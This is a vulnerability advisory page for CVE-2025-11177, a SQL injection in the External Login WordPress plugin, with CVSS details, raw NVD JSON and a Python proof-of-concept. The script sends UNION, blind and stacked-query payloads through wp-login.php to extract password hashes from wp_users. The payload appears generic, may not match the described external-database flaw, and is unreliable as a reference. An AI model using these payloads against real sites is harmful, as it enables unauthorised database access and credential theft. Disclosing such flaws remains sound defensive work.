Security Vulnerability Report
中文
CVE-2025-11177 CVSS 7.5 HIGH

CVE-2025-11177

Published: 2025-10-15 09:15:42
Last Modified: 2026-04-15 00:35:42

Description

The External Login plugin for WordPress is vulnerable to SQL Injection via the 'log' parameter in all versions up to, and including, 1.11.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database when a PostgreSQL or MSSQL database is configured as the external authentication database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

External Login for WordPress <= 1.11.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11177 PoC - External Login Plugin SQL Injection # Vulnerability: Unauthenticated SQL Injection via 'log' parameter # Affected: External Login plugin for WordPress <= 1.11.2 # Database: PostgreSQL or MSSQL as external authentication DB import requests target_url = "http://target-wordpress-site.com/wp-login.php" # Crafted payload exploiting SQL injection in 'log' parameter # Using UNION-based injection to extract sensitive data payload = { "log": "' UNION SELECT user_login, user_pass, user_email FROM wp_users-- ", "pwd": "password123", "wp-submit": "Log In", "redirect_to": "http://target-wordpress-site.com/wp-admin/", "testcookie": "1" } # Send the malicious request response = requests.post(target_url, data=payload) # Check response for extracted data or error messages if response.status_code == 200: print("[*] Response received, checking for data leakage...") # In successful exploitation, sensitive data may appear in response if "user_pass" in response.text or "ERROR" in response.text: print("[+] SQL Injection successful!") print(response.text) else: print(f"[-] Request failed with status: {response.status_code}") # Alternative: Boolean-based blind SQL injection payload # payload_log = "admin' AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='a'-- " # Alternative: Stacked query (PostgreSQL/MSSQL only) # payload_log = "'; SELECT user_pass FROM wp_users WHERE ID=1-- "

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11177", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:42.093", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The External Login plugin for WordPress is vulnerable to SQL Injection via the 'log' parameter in all versions up to, and including, 1.11.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database when a PostgreSQL or MSSQL database is configured as the external authentication database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/external-login/tags/1.11.2/login/db.php#L153", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/488f1a2f-01c8-40cf-b52f-d707271105f5?source=cve", "source": "[email protected]"}]}}